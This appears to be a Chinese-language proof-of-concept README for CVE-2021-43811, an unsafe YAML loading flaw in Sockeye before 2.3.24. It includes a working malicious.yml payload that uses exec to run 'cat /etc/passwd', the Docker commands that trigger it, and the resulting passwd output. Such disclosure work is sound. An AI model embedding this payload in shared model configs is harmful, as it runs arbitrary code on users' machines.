Sockeye 是一个基于 PyTorch 构建的开源序列到序列的神经机器翻译框架。Sockeye 使用 YAML 将模型和数据配置存储在磁盘上。低于 2.3.24 的版本使用了不安全的 YAML 加载方式,这可能导致执行配置文件中嵌入的任意代码。攻击者可以向训练好的模型的配置文件中添加恶意代码,并试图诱骗用户下载并运行该模型。如果用户运行该模型,嵌入的代码将在本地执行。该问题已在版本 2.3.24 中修复。

docker build -t cve-2021-43811 .
docker run -it --rm cve-2021-43811
输出 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
-- snip --

malicious.yml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"